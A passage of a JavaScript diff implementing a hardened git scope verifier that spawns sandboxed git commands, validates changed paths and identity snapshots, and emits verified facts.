+} + +function asContractError(error, path, code = 'git_execution_failed') { + if (error instanceof RunContractV1Error) return error; + return contractError(code, path, `${path} could not complete a git observation.`); +} + +function assertOwnedHandle(value, path) { + if (value === null || (typeof value !== 'object' && typeof value !== 'function')) { + fail('git_execution_failed', path, `${path} could not start a git observation.`); + } + try { + if (IS_PROXY(value)) { + fail('proxy_denied', path, + `${path} is a live or revoked Proxy; git observation accepts owned process handles only.`); + } + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + fail('git_execution_failed', path, `${path} could not start a git observation.`); + } +} + +function readHandleField(handle, key, path) { + assertOwnedHandle(handle, path); + let value; + try { + value = handle[key]; + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + fail('git_execution_failed', path, `${path} could not start a git observation.`); + } + if (value !== null && value !== undefined + && (typeof value === 'object' || typeof value === 'function')) { + assertOwnedHandle(value, path); + } + return value; +} + +function invokeHandle(handle, key, args, path) { + const method = readHandleField(handle, key, path); + if (typeof method !== 'function') { + fail('git_execution_failed', path, `${path} could not start a git observation.`); + } + try { + return REFLECT_APPLY(method, handle, args); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + fail('git_execution_failed', path, `${path} could not start a git observation.`); + } +} + +function ownedChunk(chunk, path) { + try { + if (typeof chunk === 'string') return BUFFER_FROM(chunk, 'utf8'); + if (BUFFER_IS_BUFFER(chunk)) return BUFFER_FROM(chunk); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + } + fail('git_execution_failed', path, `${path} could not complete a git observation.`); +} + +function assertClosedKeySet(input, allowedKeys, path) { + let ownKeys; + try { + ownKeys = capturedOwnKeys(input); + } catch { + fail('invalid_type', path, `${path} keys could not be inspected safely.`); + } + for (let index = 0; index < ownKeys.length; index += 1) { + const key = ownKeys[index]; + if (typeof key === 'symbol') { + fail('symbol_key_denied', path, + `${path} carries a symbol property; scope records are direct JSON only.`); + } + let allowed = false; + for (let allowedIndex = 0; allowedIndex < allowedKeys.length; allowedIndex += 1) { + if (allowedKeys[allowedIndex] === key) { + allowed = true; + break; + } + } + if (!allowed) { + fail('unknown_key', path, `${path} carries a key outside the closed vocabulary.`); + } + } +} + +function assertNestedClosedKeys(input, key, allowedKeys, path) { + const descriptor = capturedDescriptor(input, key); + if (descriptor === undefined) return; + if (descriptor.get !== undefined || descriptor.set !== undefined) return; + const value = descriptor.value; + if (value === null || typeof value !== 'object' || ARRAY_IS_ARRAY(value)) return; + try { + if (IS_PROXY(value)) return; + } catch { + return; + } + assertClosedKeySet(value, allowedKeys, `${path}.${key}`); +} + +function freezeRecord(keys, values) { + const snapshot = {}; + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (!capturedHasOwn(values, key)) continue; + OBJECT_DEFINE_PROPERTY(snapshot, key, { + value: values[key], enumerable: true, writable: false, configurable: false, + }); + } + return capturedFreeze(snapshot); +} + +function requiredKeys(input, keys, path) { + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (!hasOwn(input, key)) { + fail('missing_key', `${path}.${key}`, + `${path}.${key} is required (${SCOPE_VERIFIER_SCHEMA_ID}); scope records have no hidden defaults.`); + } + } +} + +function digestCanonical(value) { + const canonical = canonicalJsonStringify(value); + const hash = CRYPTO_CREATE_HASH('sha256'); + HASH_UPDATE.call(hash, BUFFER_FROM(canonical, 'utf8')); + return HASH_DIGEST.call(hash, 'hex'); +} + +function digestBytes(text) { + const hash = CRYPTO_CREATE_HASH('sha256'); + HASH_UPDATE.call(hash, BUFFER_FROM(text, 'utf8')); + return HASH_DIGEST.call(hash, 'hex'); +} + +function assertClosedEnv(env, path) { + if (env === null || typeof env !== 'object' || ARRAY_IS_ARRAY(env)) { + fail('env_influence_denied', path, `${path} must be the closed git environment map.`); + } + for (let index = 0; index < FORBIDDEN_ENV_KEYS.length; index += 1) { + const key = FORBIDDEN_ENV_KEYS[index]; + if (capturedHasOwn(env, key)) { + fail('env_influence_denied', path, + `${path} must not carry git configuration, replace, graft, or directory overrides.`); + } + } +} + +function assertGitArgv(args, path) { + if (!ARRAY_IS_ARRAY(args)) fail('invalid_type', path, `${path} must be an argv array.`); + if (args.length > MAX_GIT_ARGS) { + fail('bounds_exceeded', path, `${path} exceeds the git argv arity cap.`); + } + for (let index = 0; index < args.length; index += 1) { + const arg = args[index]; + if (typeof arg !== 'string' || arg.length === 0) { + fail('hostile_name_denied', `${path}[${index}]`, `${path} entries must be non-empty strings.`); + } + if (arg.includes('\0')) { + fail('hostile_name_denied', `${path}[${index}]`, `${path} entries must not contain NUL.`); + } + if (BUFFER_BYTE_LENGTH(arg) > MAX_GIT_ARG_BYTES) { + fail('bounds_exceeded', `${path}[${index}]`, `${path} exceeds the git argument byte cap.`); + } + } +} + +function decodeUtf8(buffer, path) { + let text; + try { + text = buffer.toString('utf8'); + } catch { + fail('git_execution_failed', path, `${path} produced an invalid git observation encoding.`); + } + let roundtrip; + try { + roundtrip = BUFFER_FROM(text, 'utf8'); + } catch { + fail('git_execution_failed', path, `${path} produced an invalid git observation encoding.`); + } + if (roundtrip.length !== buffer.length || !REFLECT_APPLY(BUFFER_EQUALS, roundtrip, [buffer])) { + fail('hostile_name_denied', path, `${path} produced a non-UTF-8 git observation.`); + } + return text; +} + +function createSession(spawnFn) { + const startedAt = Date.now(); + return { + spawn: spawnFn, + commands: 0, + startedAt, + deadlineAt: startedAt + MAX_GIT_TOTAL_TIME_MS, + }; +} + +function assertDeadline(session, path) { + if (Date.now() >= session.deadlineAt) { + fail('bounds_exceeded', path, `${path} exceeds the git wall-clock cap.`); + } +} + +function remainingMs(session) { + const left = session.deadlineAt - Date.now(); + return left > 0 ? left : 0; +} + +function assertSessionBounds(session, path) { + if (session.commands >= MAX_GIT_COMMANDS) { + fail('bounds_exceeded', path, `${path} exceeds the git command-count cap.`); + } + assertDeadline(session, path); +} + +function listenStream(stream, event, handler, path) { + if (stream === undefined || stream === null) return; + invokeHandle(stream, 'on', [event, handler], path); +} + +function runGit(session, args, path) { + assertGitArgv(args, `${path}.args`); + assertSessionBounds(session, path); + const budget = remainingMs(session); + if (budget <= 0) { + fail('bounds_exceeded', path, `${path} exceeds the git wall-clock cap.`); + } + session.commands += 1; + const argv = [GIT_EXECUTABLE, ...SCOPE_GIT_ISOLATION_FLAGS, ...args]; + assertGitArgv(argv, `${path}.argv`); + const spawnOptions = { + cwd: '/', + env: GIT_CLOSED_ENV, + stdio: ['ignore', 'pipe', 'pipe'], + windowsHide: true, + }; + assertClosedEnv(spawnOptions.env, `${path}.env`); + return new Promise((resolve, reject) => { + let child; + try { + child = session.spawn(GIT_EXECUTABLE, argv.slice(1), spawnOptions); + } catch { + reject(contractError( + 'git_execution_failed', path, `${path} could not start a git observation.`, + )); + return; + } + try { + assertOwnedHandle(child, path); + } catch (error) { + reject(asContractError(error, path)); + return; + } + const stdoutChunks = []; + const stderrChunks = []; + let stdoutBytes = 0; + let stderrBytes = 0; + let exceeded = false; + let settled = false; + let timer; + const finish = (error, result) => { + if (settled) return; + settled = true; + clearTimeout(timer); + if (error) reject(asContractError(error, path)); + else resolve(result); + }; + const exceed = () => { + if (exceeded) return; + exceeded = true; + try { invokeHandle(child, 'kill', ['SIGKILL'], path); } catch { /* already exited */ } + finish(contractError( + 'bounds_exceeded', path, `${path} exceeded a closed git output or time bound.`, + )); + }; + timer = setTimeout(exceed, MATH_MIN(MAX_GIT_TIME_MS, budget)); + const onChunk = (target, getSize, setSize) => (chunk) => { + try { + const owned = ownedChunk(chunk, path); + const next = getSize() + owned.length; + setSize(next); + if (next > MAX_SCOPE_OUTPUT_BYTES) { + exceed(); + return; + } + REFLECT_APPLY(ARRAY_PUSH, target, [owned]); + } catch (error) { + finish(asContractError(error, path)); + } + }; + try { + listenStream( + readHandleField(child, 'stdout', path), + 'data', + onChunk(stdoutChunks, () => stdoutBytes, (value) => { stdoutBytes = value; }), + path, + ); + listenStream( + readHandleField(child, 'stderr', path), + 'data', + onChunk(stderrChunks, () => stderrBytes, (value) => { stderrBytes = value; }), + path, + ); + invokeHandle(child, 'once', ['error', () => { + finish(contractError( + 'git_execution_failed', path, `${path} could not complete a git observation.`, + )); + }], path); + invokeHandle(child, 'once', ['close', (code, signal) => { + if (exceeded) return; + try { + if (Date.now() >= session.deadlineAt) { + finish(contractError( + 'bounds_exceeded', path, `${path} exceeds the git wall-clock cap.`, + )); + return; + } + const stdoutBuffer = BUFFER_CONCAT(stdoutChunks); + const stderrBuffer = BUFFER_CONCAT(stderrChunks); + if (signal !== null && signal !== undefined) { + finish(contractError( + 'git_execution_failed', path, `${path} could not complete a git observation.`, + )); + return; + } + finish(null, { + exit_code: typeof code === 'number' ? code : 1, + stdout: decodeUtf8(stdoutBuffer, path), + stderr: decodeUtf8(stderrBuffer, `${path}.stderr`), + }); + } catch (error) { + finish(asContractError(error, path)); + } + }], path); + } catch (error) { + try { invokeHandle(child, 'kill', ['SIGKILL'], path); } catch { /* already exited */ } + finish(asContractError(error, path)); + } + }); +} + +async function gitRequired(session, args, path) { + const result = await runGit(session, args, path); + if (result.exit_code !== 0) { + fail('git_execution_failed', path, `${path} could not complete a git observation.`); + } + return result.stdout; +} + +function repoFlags(repositoryPath, gitDir) { + return capturedFreeze(['-C', repositoryPath, '--git-dir', gitDir]); +} + +function parseOptions(options, path = 'options') { + if (options === undefined) { + return freezeRecord(SCOPE_OPTIONS_ALLOWED_KEYS, { spawn: SPAWN }); + } + assertNotProxy(options, path); + assertPlainObject(options, 'invalid_type', path, path); + assertClosedKeySet(options, SCOPE_OPTIONS_ALLOWED_KEYS, path); + let spawn = SPAWN; + if (hasOwn(options, 'spawn')) { + spawn = optOwn(options, 'spawn'); + if (typeof spawn !== 'function') { + fail('invalid_type', `${path}.spawn`, `${path}.spawn must be a spawn function.`); + } + assertNotProxy(spawn, `${path}.spawn`); + } + return freezeRecord(SCOPE_OPTIONS_ALLOWED_KEYS, { spawn }); +} + +function splitNul(text) { + if (typeof text !== 'string') return []; + if (text.length === 0) return []; + const parts = text.split('\0'); + if (parts.length > 0 && parts[parts.length - 1] === '') parts.pop(); + return parts; +} + +function assertObservedPath(value, path) { + if (typeof value !== 'string' || value.length === 0) { + fail('hostile_name_denied', path, `${path} is not a repository-relative path.`); + } + if (value.includes('\0') || value.includes('\r') || value.includes('\\')) { + fail('hostile_name_denied', path, `${path} is not a repository-relative path.`); + } + try { + assertRepoRelativePath(value, 'path'); + } catch (error) { + if (error instanceof RepoPathMatcherError || error instanceof RunContractV1Error) { + fail('hostile_name_denied', path, `${path} is not a repository-relative path.`); + } + throw error; + } + let index = 0; + while (index < value.length) { + const codePoint = value.codePointAt(index); + if (codePoint === undefined) { + fail('hostile_name_denied', path, `${path} is not a repository-relative path.`); + } + for (let look = 0; look < SEPARATOR_LOOKALIKES.length; look += 1) { + if (SEPARATOR_LOOKALIKES[look] === codePoint) { + fail('hostile_name_denied', path, `${path} contains a confusable path separator.`); + } + } + if (STRING_FROM_CODE_POINT(codePoint).normalize('NFC') + !== STRING_FROM_CODE_POINT(codePoint)) { + fail('hostile_name_denied', path, `${path} must use NFC-normalized path segments.`); + } + index += codePoint > 0xffff ? 2 : 1; + } + if (value.normalize('NFC') !== value) { + fail('hostile_name_denied', path, `${path} must use NFC-normalized path segments.`); + } + return value; +} + +function addUniquePath(paths, seen, value, path) { + const observed = assertObservedPath(value, path); + if (seen.has(observed)) return; + if (paths.length >= MAX_CHANGED_PATHS) { + fail('bounds_exceeded', path, `${path} exceeds the changed-path cap.`); + } + seen.add(observed); + REFLECT_APPLY(ARRAY_PUSH, paths, [observed]); +} + +function isRenameOrCopyStatus(status) { + return status.charCodeAt(0) === 0x52 || status.charCodeAt(0) === 0x43; +} + +function parseDiffTreeRaw(stdout, path) { + const parts = splitNul(stdout); + const records = []; + const paths = []; + const seen = new Set(); + let renameCount = 0; + let copyCount = 0; + let index = 0; + while (index < parts.length) { + const header = parts[index]; + index += 1; + if (typeof header !== 'string' || header.length === 0 || header.charCodeAt(0) !== 0x3a) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + const fields = header.slice(1).split(' '); + if (fields.length !== 5) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + const [oldMode, newMode, oldSha, newSha, status] = fields; + if (!PRIVATE_MODE_PATTERN.test(oldMode) || !PRIVATE_MODE_PATTERN.test(newMode) + || !isSha40(oldSha) && oldSha !== ZERO_SHA + || !isSha40(newSha) && newSha !== ZERO_SHA + || !PRIVATE_DIFF_STATUS_PATTERN.test(status)) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + if (!isSha40(oldSha) && oldSha !== ZERO_SHA) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + if (!isSha40(newSha) && newSha !== ZERO_SHA) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + const kind = status.charCodeAt(0); + let sourcePath = ''; + let destPath = ''; + if (isRenameOrCopyStatus(status)) { + if (index + 1 >= parts.length) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + sourcePath = parts[index]; + destPath = parts[index + 1]; + index += 2; + addUniquePath(paths, seen, sourcePath, path); + addUniquePath(paths, seen, destPath, path); + if (kind === 0x52) renameCount += 1; + else copyCount += 1; + } else { + if (index >= parts.length) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + destPath = parts[index]; + index += 1; + addUniquePath(paths, seen, destPath, path); + } + REFLECT_APPLY(ARRAY_PUSH, records, [capturedFreeze({ + old_mode: oldMode, + new_mode: newMode, + status, + source_path: sourcePath, + dest_path: destPath, + })]); + } + return { records, paths, seen, rename_count: renameCount, copy_count: copyCount }; +} + +function parseStatusPorcelain(stdout, path, paths, seen) { + const parts = splitNul(stdout); + let index = 0; + while (index < parts.length) { + const entry = parts[index]; + index += 1; + if (typeof entry !== 'string' || entry.length < 2) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + const xy0 = entry.charCodeAt(0); + const xy1 = entry.charCodeAt(1); + if (xy0 > 0x7e || xy1 > 0x7e || xy0 < 0x20 || xy1 < 0x20) { + fail('hostile_name_denied', path, `${path} produced an unexpected git observation.`); + } + const renamed = xy0 === 0x52 || xy0 === 0x43 || xy1 === 0x52 || xy1 === 0x43; + if (entry.length === 2) { + if (!renamed || index + 1 >= parts.length) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + addUniquePath(paths, seen, parts[index], path); + addUniquePath(paths, seen, parts[index + 1], path); + index += 2; + continue; + } + if (entry.charCodeAt(2) !== 0x20) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + addUniquePath(paths, seen, entry.slice(3), path); + if (renamed) { + if (index >= parts.length) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + addUniquePath(paths, seen, parts[index], path); + index += 1; + } + } +} + +function parseLsFilesOthers(stdout, path, paths, seen) { + const parts = splitNul(stdout); + for (let index = 0; index < parts.length; index += 1) { + addUniquePath(paths, seen, parts[index], path); + } +} + +function parseRevListParents(stdout, path, expectedHead, allowEmpty) { + if (stdout.includes('\0') || stdout.includes('\r')) { + fail('git_execution_failed', path, `${path} produced extra git output.`); + } + let text = stdout; + if (text.endsWith('\n')) text = text.slice(0, -1); + if (text.length === 0) { + if (!allowEmpty) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + return { commits: [], parent_count: 1, merge: false }; + } + const lines = text.split('\n'); + if (lines.length > MAX_NEW_COMMITS) { + fail('bounds_exceeded', path, `${path} exceeds the new-commit cap.`); + } + let merge = false; + let parentCount = 1; + let sawHead = expectedHead === undefined; + for (let index = 0; index < lines.length; index += 1) { + const line = lines[index]; + const tokens = line.split(' '); + if (tokens.length < 1 || !isSha40(tokens[0])) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + for (let token = 1; token < tokens.length; token += 1) { + if (!isSha40(tokens[token])) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + } + const parents = tokens.length - 1; + if (tokens[0] === expectedHead) { + sawHead = true; + parentCount = parents; + } + if (parents !== 1) merge = true; + } + if (expectedHead !== undefined && !sawHead && lines.length > 0) { + parentCount = lines[0].split(' ').length - 1; + } + return { commits: lines, parent_count: parentCount, merge }; +} + +function compileScopePatterns(patterns, path) { + const compiled = []; + for (let index = 0; index < patterns.length; index += 1) { + try { + REFLECT_APPLY(ARRAY_PUSH, compiled, [ + compileRepoGlob(patterns[index], `${path}[${index}]`), + ]); + } catch (error) { + if (error instanceof RepoPathMatcherError) { + fail('invalid_format', `${path}[${index}]`, + `${path}[${index}] is not a matchable repository glob.`); + } + throw error; + } + } + return capturedFreeze(compiled); +} + +function snapshotWriteScope(value, path, { minPatterns, maxPatterns }) { + assertWriteScopePatterns(value, path, { minPatterns, maxPatterns }); + const patterns = []; + for (let index = 0; index < value.length; index += 1) { + REFLECT_APPLY(ARRAY_PUSH, patterns, [optOwn(value, String(index))]); + } + return { + patterns: capturedFreeze(patterns), + compiled: compileScopePatterns(patterns, path), + }; +} + +function pathMatchesAny(pathname, compiled, path) { + for (let index = 0; index < compiled.length; index += 1) { + try { + if (compiledRepoGlobMatchesPath(compiled[index], pathname, 'path') === true) { + return true; + } + } catch (error) { + if (error instanceof RepoPathMatcherError) { + fail('hostile_name_denied', path, `${path} is not a repository-relative path.`); + } + throw error; + } + } + return false; +} + +function parseOtherWriteScopes(input, path, selfAssignmentId) { + const value = optOwn(input, 'other_write_scopes'); + assertNotProxy(value, path); + if (!ARRAY_IS_ARRAY(value)) { + fail('invalid_type', path, `${path} must be an array of trusted writer scopes.`); + } + if (value.length > MAX_OTHER_WRITE_SCOPES) { + fail('out_of_range', path, `${path} exceeds the other-writer cap.`); + } + const snapshots = []; + const seen = new Set(); + for (let index = 0; index < value.length; index += 1) { + const entryPath = `${path}[${index}]`; + const entry = optOwn(value, String(index)); + assertPlainObject(entry, 'invalid_type', entryPath, entryPath); + assertClosedKeySet(entry, SCOPE_OTHER_SCOPE_ALLOWED_KEYS, entryPath); + requiredKeys(entry, SCOPE_OTHER_SCOPE_ALLOWED_KEYS, entryPath); + const assignmentId = optOwn(entry, 'assignment_id'); + if (!isAssignmentId(assignmentId)) { + fail('invalid_format', `${entryPath}.assignment_id`, + `${entryPath}.assignment_id violates the assignment-id grammar.`); + } + if (assignmentId === selfAssignmentId) { + fail('conflicting_id', `${entryPath}.assignment_id`, + `${entryPath}.assignment_id must not repeat the observed assignment.`); + } + if (seen.has(assignmentId)) { + fail('duplicate_id', `${entryPath}.assignment_id`, + `${entryPath}.assignment_id repeats an identity.`); + } + seen.add(assignmentId); + const scope = snapshotWriteScope( + optOwn(entry, 'write_scope'), `${entryPath}.write_scope`, + { minPatterns: 1, maxPatterns: SCOPE_MAX_PATTERNS }, + ); + REFLECT_APPLY(ARRAY_PUSH, snapshots, [capturedFreeze({ + assignment_id: assignmentId, + write_scope: scope.patterns, + compiled: scope.compiled, + })]); + } + return capturedFreeze(snapshots); +} + +function parseObservationMap(input, path) { + assertPlainObject(input, 'invalid_type', path, path); + assertClosedKeySet(input, GIT_IDENTITY_OBSERVATION_ALLOWED_KEYS, path); + requiredKeys(input, GIT_IDENTITY_OBSERVATION_ALLOWED_KEYS, path); + const values = {}; + for (let index = 0; index < GIT_IDENTITY_OBSERVATION_ALLOWED_KEYS.length; index += 1) { + const key = GIT_IDENTITY_OBSERVATION_ALLOWED_KEYS[index]; + values[key] = optOwn(input, key); + } + if (typeof values.repository_path !== 'string' || typeof values.git_dir !== 'string' + || typeof values.base_ref !== 'string' || typeof values.worktree_head_ref !== 'string' + || typeof values.base_object_type !== 'string' || typeof values.head_object_type !== 'string' + || typeof values.ancestor !== 'boolean' + || typeof values.duration_ms !== 'number' || !NUMBER_IS_SAFE_INTEGER(values.duration_ms)) { + fail('invalid_type', path, `${path} is not a trusted git identity observation.`); + } + if (!isSha40(values.base_sha) || !isSha40(values.head_sha) + || (values.merge_base_sha !== '' && !isSha40(values.merge_base_sha))) { + fail('invalid_format', path, `${path} is not a trusted git identity observation.`); + } + return freezeRecord(GIT_IDENTITY_OBSERVATION_ALLOWED_KEYS, values); +} + +function parseTrustedIdentity(input, path, request) { + assertPlainObject(input, 'invalid_type', path, path); + assertClosedKeySet(input, GIT_IDENTITY_RESULT_ALLOWED_KEYS, path); + requiredKeys(input, GIT_IDENTITY_RESULT_ALLOWED_KEYS, path); + const schema = optOwn(input, 'schema'); + const version = optOwn(input, 'version'); + const status = optOwn(input, 'status'); + if (schema !== GIT_IDENTITY_SCHEMA_ID || version !== GIT_IDENTITY_VERSION) { + fail('identity_mismatch', path, `${path} is not a trusted git identity snapshot.`); + } + let statusAllowed = false; + for (let index = 0; index < GIT_IDENTITY_STATUSES.length; index += 1) { + if (GIT_IDENTITY_STATUSES[index] === status) statusAllowed = true; + } + if (!statusAllowed) { + fail('invalid_format', `${path}.status`, `${path}.status is outside the closed identity vocabulary.`); + } + const factsInput = optOwn(input, 'facts'); + const discrepanciesInput = optOwn(input, 'discrepancies'); + if (!ARRAY_IS_ARRAY(factsInput) || !ARRAY_IS_ARRAY(discrepanciesInput)) { + fail('invalid_type', path, `${path} is not a trusted git identity snapshot.`); + } + const facts = []; + for (let index = 0; index < factsInput.length; index += 1) { + REFLECT_APPLY(ARRAY_PUSH, facts, [ + parseVerifiedFactV1(optOwn(factsInput, String(index)), `${path}.facts[${index}]`), + ]); + } + const discrepancies = []; + for (let index = 0; index < discrepanciesInput.length; index += 1) { + REFLECT_APPLY(ARRAY_PUSH, discrepancies, [ + parseEvidenceDiscrepancyV1( + optOwn(discrepanciesInput, String(index)), `${path}.discrepancies[${index}]`, + ), + ]); + } + if (status !== 'verified' || discrepancies.length !== 0) { + fail('unverified_identity', path, `${path} is not a verified git identity snapshot.`); + } + const observation = parseObservationMap(optOwn(input, 'observation'), `${path}.observation`); + if (observation.repository_path !== request.repository.path + || observation.base_sha !== request.repository.base_sha + || observation.head_sha !== request.candidate_head_sha + || observation.base_ref !== request.expected_base_ref + || observation.ancestor !== true + || observation.merge_base_sha !== request.repository.base_sha) { + fail('identity_mismatch', path, `${path} does not match the trusted identity request.`); + } + let sawIdentity = false; + let sawHead = false; + for (let index = 0; index < facts.length; index += 1) { + const fact = facts[index]; + if (fact.run_id !== request.run_id || fact.assignment_id !== request.assignment_id) { + fail('identity_mismatch', `${path}.facts[${index}]`, + `${path}.facts[${index}] identity does not match the trusted identity request.`); + } + if (fact.status !== 'verified' || fact.authority !== 'platform_git' + || fact.method !== 'ancestry_check') { + fail('unverified_identity', `${path}.facts[${index}]`, + `${path} is not a verified git identity snapshot.`); + } + if (fact.fact_kind === 'git_identity') { + if (fact.payload.base_sha !== request.repository.base_sha + || fact.payload.head_sha !== request.candidate_head_sha) { + fail('identity_mismatch', `${path}.facts[${index}]`, + `${path}.facts[${index}] does not match the trusted identity request.`); + } + sawIdentity = true; + } + if (fact.fact_kind === 'head_sha') { + if (fact.payload.sha !== request.candidate_head_sha) { + fail('identity_mismatch', `${path}.facts[${index}]`, + `${path}.facts[${index}] does not match the trusted identity request.`); + } + sawHead = true; + } + } + if (!sawIdentity || !sawHead) { + fail('unverified_identity', path, `${path} is not a verified git identity snapshot.`); + } + return freezeRecord(GIT_IDENTITY_RESULT_ALLOWED_KEYS, { + schema, + version, + status, + facts: capturedFreeze(facts), + discrepancies: capturedFreeze(discrepancies), + observation, + }); +} + +export function parseScopeVerifierRequestV1(input, path = 'scope') { + assertPlainObject(input, 'invalid_type', path, `${path}`); + assertClosedKeySet(input, SCOPE_REQUEST_ALLOWED_KEYS, path); + assertNestedClosedKeys(input, 'identity_request', [ + 'repository', 'expected_base_ref', 'candidate_head_sha', + 'run_id', 'assignment_id', 'sequence', + ], path); + assertNestedClosedKeys(input, 'identity', GIT_IDENTITY_RESULT_ALLOWED_KEYS, path); + assertDirectJsonClosure(input, path); + requiredKeys(input, SCOPE_REQUEST_REQUIRED_KEYS, path); + const identityRequest = parseGitIdentityRequestV1( + optOwn(input, 'identity_request'), `${path}.identity_request`, + ); + const identity = parseTrustedIdentity( + optOwn(input, 'identity'), `${path}.identity`, identityRequest, + ); + const access = optOwn(input, 'access'); + if (!isKnownAccess(access)) { + fail('invalid_format', `${path}.access`, `${path}.access must be "writer" or "read_only".`); + } + const minPatterns = access === 'read_only' ? 0 : 1; + const maxPatterns = access === 'read_only' ? 0 : SCOPE_MAX_PATTERNS; + const writeScope = snapshotWriteScope( + optOwn(input, 'write_scope'), `${path}.write_scope`, { minPatterns, maxPatterns }, + ); + const otherWriteScopes = parseOtherWriteScopes( + input, `${path}.other_write_scopes`, identityRequest.assignment_id, + ); + return freezeRecord(capturedFreeze([ + ...SCOPE_REQUEST_ALLOWED_KEYS, 'compiled_write_scope', + ]), { + identity_request: identityRequest, + identity, + access, + write_scope: writeScope.patterns, + other_write_scopes: otherWriteScopes, + compiled_write_scope: writeScope.compiled, + }); +} + +function identityFingerprint(result) { + return digestCanonical({ + repository_path: result.observation.repository_path, + git_dir: result.observation.git_dir, + base_ref: result.observation.base_ref, + base_sha: result.observation.base_sha, + head_sha: result.observation.head_sha, + merge_base_sha: result.observation.merge_base_sha, + worktree_head_ref: result.observation.worktree_head_ref, + ancestor: result.observation.ancestor, + status: result.status, + }); +} + +function assertLiveIdentity(trusted, live, path) { + if (live.status !== 'verified' || live.discrepancies.length !== 0) { + fail('unverified_identity', path, `${path} is not a verified git identity snapshot.`); + } + if (identityFingerprint(trusted) !== identityFingerprint(live)) { + fail('observation_race', path, `${path} observed a git identity race.`); + } +} + +function classifyDiffRecords(records, path) { + let symlink = false; + let gitlink = false; + let typeChange = false; + for (let index = 0; index < records.length; index += 1) { + const record = records[index]; + const status0 = record.status.charCodeAt(0); + if (status0 === 0x54) typeChange = true; + if (status0 === 0x55 || status0 === 0x58 || status0 === 0x42) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + if (record.old_mode === MODE_SYMLINK || record.new_mode === MODE_SYMLINK) symlink = true; + if (record.old_mode === MODE_GITLINK || record.new_mode === MODE_GITLINK) gitlink = true; + const oldFile = record.old_mode !== MODE_MISSING && record.old_mode !== MODE_SYMLINK + && record.old_mode !== MODE_GITLINK; + const newFile = record.new_mode !== MODE_MISSING && record.new_mode !== MODE_SYMLINK + && record.new_mode !== MODE_GITLINK; + const oldSpecial = record.old_mode === MODE_SYMLINK || record.old_mode === MODE_GITLINK; + const newSpecial = record.new_mode === MODE_SYMLINK || record.new_mode === MODE_GITLINK; + if ((oldFile && newSpecial) || (oldSpecial && newFile) || (oldSpecial && newSpecial + && record.old_mode !== record.new_mode)) { + typeChange = true; + } + } + return { symlink, gitlink, type_change: typeChange }; +} + +async function observeScope(session, flags, baseSha, headSha, path) { + const sameCommit = baseSha === headSha; + const diffText = await gitRequired(session, [ + ...flags, 'diff-tree', '--no-commit-id', '--raw', '--full-index', '-z', '-r', + '-M', '-C', '--end-of-options', baseSha, headSha, + ], `${path}.diff`); + const parsed = parseDiffTreeRaw(diffText, `${path}.diff`); + const statusText = await gitRequired(session, [ + ...flags, 'status', '--porcelain=v1', '-z', '--untracked-files=all', + '--ignore-submodules=none', + ], `${path}.status`); + parseStatusPorcelain(statusText, `${path}.status`, parsed.paths, parsed.seen); + const untrackedText = await gitRequired(session, [ + ...flags, 'ls-files', '-z', '--others', '--exclude-standard', + ], `${path}.untracked`); + parseLsFilesOthers(untrackedText, `${path}.untracked`, parsed.paths, parsed.seen); + let parent; + if (sameCommit) { + parent = { commits: [], parent_count: 1, merge: false, new_commit_count: 0 }; + } else { + const rangeText = await gitRequired(session, [ + ...flags, 'rev-list', '--parents', `--max-count=${MAX_NEW_COMMITS + 1}`, + headSha, '--not', baseSha, + ], `${path}.parents`); + parent = parseRevListParents(rangeText, `${path}.parents`, headSha, false); + parent.new_commit_count = parent.commits.length; + } + REFLECT_APPLY(ARRAY_SORT, parsed.paths, [(left, right) => { + if (left === right) return 0; + return left < right ? -1 : 1; + }]); + const pathSetDigest = digestCanonical(parsed.paths); + const fingerprint = digestCanonical({ + diff: digestBytes(diffText), + status: digestBytes(statusText), + untracked: digestBytes(untrackedText), + parents: parent.commits, + path_set_digest: pathSetDigest, + }); + const operations = classifyDiffRecords(parsed.records, `${path}.diff`); + return { + paths: capturedFreeze(parsed.paths), + path_count: parsed.paths.length, + path_set_digest: pathSetDigest, + rename_count: parsed.rename_count, + copy_count: parsed.copy_count, + parent_count: parent.parent_count, + new_commit_count: parent.new_commit_count, + merge: parent.merge === true || (!sameCommit && parent.parent_count !== 1), + dirty: statusText.length > 0 || untrackedText.length > 0, + symlink: operations.symlink, + gitlink: operations.gitlink, + type_change: operations.type_change, + fingerprint, + }; +} + +function durationOf(session, path) { + assertDeadline(session, path); + return MATH_MAX(0, MATH_FLOOR(Date.now() - session.startedAt)); +} + +function emitFact(kind, method, request, inputDigest, outputDigest, status, payload, durationMs) { + const boundedDuration = durationMs > MAX_DURATION_MS ? MAX_DURATION_MS : durationMs; + return parseVerifiedFactV1({ + fact_id: kind === 'git_diff' ? 'git-diff' : 'head-sha', + fact_kind: kind, + status, + code: 'host_observed', + run_id: request.identity_request.run_id, + assignment_id: request.identity_request.assignment_id, + sequence: kind === 'git_diff' ? request.identity_request.sequence + : request.identity_request.sequence + 1, + subject: kind === 'git_diff' ? 'diff' : 'head', + authority: 'platform_git', + method, + input_digest: inputDigest, + output_digest: outputDigest, + exit_code: null, + duration_ms: boundedDuration, + truncated: false, + payload, + artifact_digests: [], + }); +} + +function emitDiscrepancy(id, kind, code, request, factIds, sequence) { + return parseEvidenceDiscrepancyV1({ + discrepancy_id: id, + discrepancy_kind: kind, + status: 'recorded', + code, + run_id: 